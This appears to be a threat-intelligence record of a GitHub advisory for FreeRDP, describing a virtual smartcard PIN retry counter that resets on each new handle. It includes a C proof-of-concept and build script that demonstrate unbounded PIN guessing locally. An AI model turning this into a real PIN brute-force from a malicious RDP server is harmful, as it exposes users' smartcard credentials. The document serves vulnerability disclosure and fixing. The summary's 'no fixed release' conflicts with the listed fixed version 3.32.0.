{"schema":"threatline.record/2","record":{"id":"GHSA-chh2-527f-x255","aliases":["GHSA-chh2-527f-x255"],"summary":"Improper Restriction of Excessive Authentication Attempts in FreeRDP","details":"### Summary\r\n\r\nFreeRDP's virtual smartcard implementation stores its three-attempt PIN retry counter in the\r\n`vgidsContext` owned by one `SCardHandle`. A malicious or compromised RDP server can exhaust that\r\ncounter with VERIFY APDUs, request another `SCardConnect`, and receive a new GIDS context whose\r\ncounter has been restored to three. Repeating connect and transmit operations turns the intended\r\nthree-attempt limit into an unbounded online test of the PIN configured by `/smartcard-logon`.\r\n\r\nThe server needs no account on the client, but the user must connect to the server with virtual\r\nsmartcard logon enabled and provide a certificate, private key, and PIN. The demonstrated impact is\r\nrecovery of a low-entropy configured PIN. A successful guess returns `9000` and marks the fresh\r\ncontext as verified, enabling its protected private-key operations for that handle. The report does\r\nnot claim host compromise or persistence after disconnection.\r\n\r\nThe virtual GIDS implementation and per-handle state were introduced together before 3.0.0. The\r\nbehavior is present in 3.0.0-beta1, every inspected stable endpoint from 3.0.0 through 3.31.1, and\r\ncurrent `master`; 2.11.7 does not contain this component. No fixed release is known.\r\n\r\nThe attached bounded reproducer builds the public 3.31.1 GIDS implementation. On one context, wrong\r\nPINs return `63C2`, `63C1`, `63C0`, and then `6983` (blocked). A fresh context immediately returns\r\n`63C2` for another wrong PIN, proving the reset. The correct PIN returns `9000`, ruling out uniform\r\nAPDU failure.\r\n\r\n### Reproduction\r\n\r\nSave the following two files in one directory, make `run.sh` executable, and run it. The script\r\ndownloads and verifies the public 3.31.1 source archive, builds the real GIDS code, generates a\r\ndisposable test certificate/key pair, and executes six local APDUs. It does not contact an RDP\r\nserver or modify a physical smartcard.\r\n\r\n<!-- BEGIN FILE: vgids_retry_repro.c -->\r\n```c\r\n#include \"smartcard_virtual_gids.h\"\r\n\r\n#include <stdio.h>\r\n#include <stdlib.h>\r\n\r\nstatic char* read_file(const char* path)\r\n{\r\n\tFILE* fp = fopen(path, \"rb\");\r\n\tif (!fp)\r\n\t\treturn NULL;\r\n\tfseek(fp, 0, SEEK_END);\r\n\tlong len = ftell(fp);\r\n\trewind(fp);\r\n\tchar* data = calloc((size_t)len + 1, 1);\r\n\tif (!data || (fread(data, 1, (size_t)len, fp) != (size_t)len))\r\n\t{\r\n\t\tfree(data);\r\n\t\tdata = NULL;\r\n\t}\r\n\tfclose(fp);\r\n\treturn data;\r\n}\r\n\r\nstatic unsigned verify(vgidsContext* ctx, const char* pin)\r\n{\r\n\tBYTE apdu[32] = { 0x00, 0x20, 0x00, 0x80, 0x00 };\r\n\tBYTE* response = NULL;\r\n\tDWORD response_size = 0;\r\n\tsize_t len = strlen(pin);\r\n\tapdu[4] = (BYTE)len;\r\n\tmemcpy(&apdu[5], pin, len);\r\n\tif (!vgids_process_apdu(ctx, apdu, (DWORD)(5 + len), &response, &response_size) ||\r\n\t    (response_size < 2))\r\n\t\treturn 0;\r\n\tunsigned status = ((unsigned)response[response_size - 2] << 8) | response[response_size - 1];\r\n\tfree(response);\r\n\treturn status;\r\n}\r\n\r\nstatic vgidsContext* fresh(const char* cert, const char* key)\r\n{\r\n\tvgidsContext* ctx = vgids_new();\r\n\tif (!ctx || !vgids_init(ctx, cert, key, \"4321\"))\r\n\t{\r\n\t\tvgids_free(ctx);\r\n\t\treturn NULL;\r\n\t}\r\n\treturn ctx;\r\n}\r\n\r\nint main(int argc, char** argv)\r\n{\r\n\tif (argc != 3)\r\n\t\treturn 2;\r\n\tchar* cert = read_file(argv[1]);\r\n\tchar* key = read_file(argv[2]);\r\n\tvgidsContext* first = fresh(cert, key);\r\n\tif (!first)\r\n\t\treturn 3;\r\n\tunsigned same[4] = { 0 };\r\n\tsame[0] = verify(first, \"0000\");\r\n\tsame[1] = verify(first, \"0001\");\r\n\tsame[2] = verify(first, \"0002\");\r\n\tsame[3] = verify(first, \"0003\");\r\n\tprintf(\"same_handle=%04x,%04x,%04x,%04x\\n\", same[0], same[1], same[2], same[3]);\r\n\tvgids_free(first);\r\n\tvgidsContext* second = fresh(cert, key);\r\n\tif (!second)\r\n\t\treturn 4;\r\n\tconst unsigned reset = verify(second, \"0004\");\r\n\tconst unsigned correct = verify(second, \"4321\");\r\n\tprintf(\"fresh_handle=%04x correct=%04x\\n\", reset, correct);\r\n\tvgids_free(second);\r\n\tfree(cert);\r\n\tfree(key);\r\n\treturn 0;\r\n}\r\n```\r\n<!-- END FILE: vgids_retry_repro.c -->\r\n\r\n<!-- BEGIN FILE: run.sh -->\r\n```sh\r\n#!/bin/sh\r\nset -eu\r\n\r\nVERSION=3.31.1\r\nARCHIVE_SHA256=254de9fe176758e9787347469fb310523782f03c61130508b51b266e374eb6c1\r\nBASE_DIR=$(CDPATH= cd -- \"$(dirname -- \"$0\")\" && pwd)\r\nWORK_DIR=${WORK_DIR:-\"$BASE_DIR/.build\"}\r\nARCHIVE=\"$WORK_DIR/$VERSION.tar.gz\"\r\nSOURCE=${SOURCE_DIR:-\"$WORK_DIR/FreeRDP-$VERSION\"}\r\nBUILD=${BUILD_DIR:-\"$WORK_DIR/build\"}\r\n\r\nmkdir -p \"$WORK_DIR\"\r\nif { [ -n \"${SOURCE_DIR:-}\" ] && [ -z \"${BUILD_DIR:-}\" ]; } ||\r\n\t{ [ -z \"${SOURCE_DIR:-}\" ] && [ -n \"${BUILD_DIR:-}\" ]; }; then\r\n\techo \"SOURCE_DIR and BUILD_DIR must be supplied together\" >&2\r\n\texit 2\r\nfi\r\nif [ -z \"${SOURCE_DIR:-}\" ] || [ -z \"${BUILD_DIR:-}\" ]; then\r\n\tif [ ! -f \"$ARCHIVE\" ]; then\r\n\t\tcurl -fL --retry 3 -o \"$ARCHIVE\" \\\r\n\t\t\t\"https://github.com/FreeRDP/FreeRDP/archive/refs/tags/$VERSION.tar.gz\"\r\n\tfi\r\n\tprintf '%s  %s\\n' \"$ARCHIVE_SHA256\" \"$ARCHIVE\" | sha256sum -c -\r\n\r\n\trm -rf \"$SOURCE\" \"$BUILD\"\r\n\ttar -xzf \"$ARCHIVE\" -C \"$WORK_DIR\"\r\n\r\n\tif command -v cmake >/dev/null 2>&1; then\r\n\t\tCMAKE=cmake\r\n\telse\r\n\t\tCMAKE=\"python3 -m cmake\"\r\n\tfi\r\n\r\n\t$CMAKE -S \"$SOURCE\" -B \"$BUILD\" \\\r\n\t\t-DCMAKE_BUILD_TYPE=Release \\\r\n\t\t-DWITH_KRB5=OFF -DWITH_UNICODE_BUILTIN=ON \\\r\n\t\t-DWITH_SWSCALE=OFF -DWITH_FFMPEG=OFF -DWITH_DSP_FFMPEG=OFF \\\r\n\t\t-DWITH_VIDEO_FFMPEG=OFF -DWITH_CAIRO=OFF -DWITH_X11=OFF -DWITH_FUSE=OFF \\\r\n\t\t-DWITH_CLIENT=OFF -DWITH_SERVER=OFF -DWITH_CHANNELS=OFF \\\r\n\t\t-DWITH_MANPAGES=OFF -DWITH_SAMPLE=OFF -DWITH_TESTING=OFF \\\r\n\t\t-DWITH_JPEG=OFF -DWITH_WEBP=OFF -DWITH_PNG=OFF\r\n\t$CMAKE --build \"$BUILD\" --target freerdp -j\"${JOBS:-2}\"\r\nfi\r\n\r\nGIDS_OBJECT=\"$BUILD/libfreerdp/CMakeFiles/freerdp.dir/emu/scard/smartcard_virtual_gids.c.o\"\r\nFREERDP_LIB=\"$BUILD/libfreerdp/libfreerdp3.so\"\r\nWINPR_LIB=\"$BUILD/winpr/libwinpr/libwinpr3.so\"\r\ntest -f \"$GIDS_OBJECT\"\r\ntest -f \"$FREERDP_LIB\"\r\ntest -f \"$WINPR_LIB\"\r\ntest -d \"$BUILD/libfreerdp/CMakeFiles/freerdp.dir/crypto\"\r\n\r\nopenssl req -x509 -newkey rsa:2048 -nodes \\\r\n\t-keyout \"$WORK_DIR/key.pem\" -out \"$WORK_DIR/cert.pem\" \\\r\n\t-subj /CN=vgids-retry-poc -days 1 >/dev/null 2>&1\r\n\r\nCRYPTO_OBJECTS=$(find \"$BUILD/libfreerdp/CMakeFiles/freerdp.dir/crypto\" -name '*.o' -print)\r\ntest -n \"$CRYPTO_OBJECTS\"\r\n\r\nresolve_shared()\r\n{\r\n\tname=$1\r\n\tpath=$(cc -print-file-name=\"$name\")\r\n\tif [ \"$path\" != \"$name\" ] && [ -f \"$path\" ]; then\r\n\t\tprintf '%s\\n' \"$path\"\r\n\t\treturn\r\n\tfi\r\n\tldconfig -p 2>/dev/null | awk -v n=\"$name\" '$1 == n || index($1, n \".\") == 1 { print $NF; exit }'\r\n}\r\n\r\nSSL_LIB=$(resolve_shared libssl.so)\r\nCRYPTO_LIB=$(resolve_shared libcrypto.so)\r\nZLIB_LIB=$(resolve_shared libz.so)\r\ntest -f \"$SSL_LIB\"\r\ntest -f \"$CRYPTO_LIB\"\r\ntest -f \"$ZLIB_LIB\"\r\n\r\n# CRYPTO_OBJECTS deliberately expands to the object list produced by this build.\r\n# shellcheck disable=SC2086\r\ncc ${CPPFLAGS:-} -g -O2 \\\r\n\t-I\"$SOURCE/include\" -I\"$SOURCE/winpr/include\" \\\r\n\t-I\"$BUILD/include\" -I\"$BUILD/winpr/include\" \\\r\n\t-I\"$SOURCE/libfreerdp/emu/scard\" \\\r\n\t\"$BASE_DIR/vgids_retry_repro.c\" \\\r\n\t\"$GIDS_OBJECT\" \\\r\n\t$CRYPTO_OBJECTS \\\r\n\t-o \"$WORK_DIR/vgids_retry_repro\" \\\r\n\t\"$FREERDP_LIB\" \"$WINPR_LIB\" \"$SSL_LIB\" \"$CRYPTO_LIB\" \"$ZLIB_LIB\" \\\r\n\t${LDFLAGS:-} \\\r\n\t-Wl,-rpath,\"$BUILD/libfreerdp:$BUILD/winpr/libwinpr\" \\\r\n\t-lpthread -ldl -lm\r\n\r\nLD_LIBRARY_PATH=\"$BUILD/libfreerdp:$BUILD/winpr/libwinpr${LD_LIBRARY_PATH:+:$LD_LIBRARY_PATH}\" \\\r\n\t\"$WORK_DIR/vgids_retry_repro\" \"$WORK_DIR/cert.pem\" \"$WORK_DIR/key.pem\" \\\r\n\t| tee \"$WORK_DIR/output.txt\"\r\n\r\ngrep -Fx 'same_handle=6302,6301,6300,6983' \"$WORK_DIR/output.txt\"\r\ngrep -Fx 'fresh_handle=6302 correct=9000' \"$WORK_DIR/output.txt\"\r\n```\r\n<!-- END FILE: run.sh -->\r\n\r\nObserved output:\r\n\r\n```text\r\nsame_handle=6302,6301,6300,6983\r\nfresh_handle=6302 correct=9000\r\nsame_handle=6302,6301,6300,6983\r\nfresh_handle=6302 correct=9000\r\n```\r\n\r\n### Suggested fix\r\n\r\nMove the retry count and blocked state from the disposable per-handle `vgidsContext` into a\r\nlonger-lived object representing the configured virtual card or credential. Every handle for that\r\ncard must reference the same retry state, and disconnecting, reconnecting, establishing another\r\nPC/SC context, or creating another handle must not restore attempts. Add regression tests that\r\nexhaust a handle and confirm both `SCardConnectA` and `SCardConnectW` remain blocked on replacement\r\nhandles; retain a correct-PIN control before exhaustion.\r\n","categories":["Unclassified"],"product":"FreeRDP","vendor":"","ecosystem":null,"affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-chh2-527f-x255","source_modified_at":"2026-09-29T06:40:04Z","fetched_at":"2026-10-27T16:27:21.584480Z","package":{"ecosystem":"c","name":"FreeRDP"},"range":">= 3.0.0"}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-chh2-527f-x255","source_modified_at":"2026-09-29T06:40:04Z","fetched_at":"2026-10-27T16:27:21.584480Z","package":{"ecosystem":"c","name":"FreeRDP"},"version":"3.32.0"}],"cvss":6.5,"severity":"Medium","kev":{"listed":false},"epss":{"probability":null,"percentile":null,"score_date":null},"published_at":"2026-09-29T06:40:03Z","modified_at":"2026-09-29T06:40:04Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-chh2-527f-x255","fetched_at":"2026-10-27T16:27:21.584480Z","source_modified_at":"2026-09-29T06:40:04Z"}],"sources":["GitHub Advisory Database"],"references":[],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":null,"confidence":"unknown","reviewed":false},"change_timestamp":"2026-09-29T06:40:04Z","content_hash":"ec9dd78784deb4aad26a0e70bcbdda4d4b5b3db76e4adc817a1be2d8ad389d20"}}
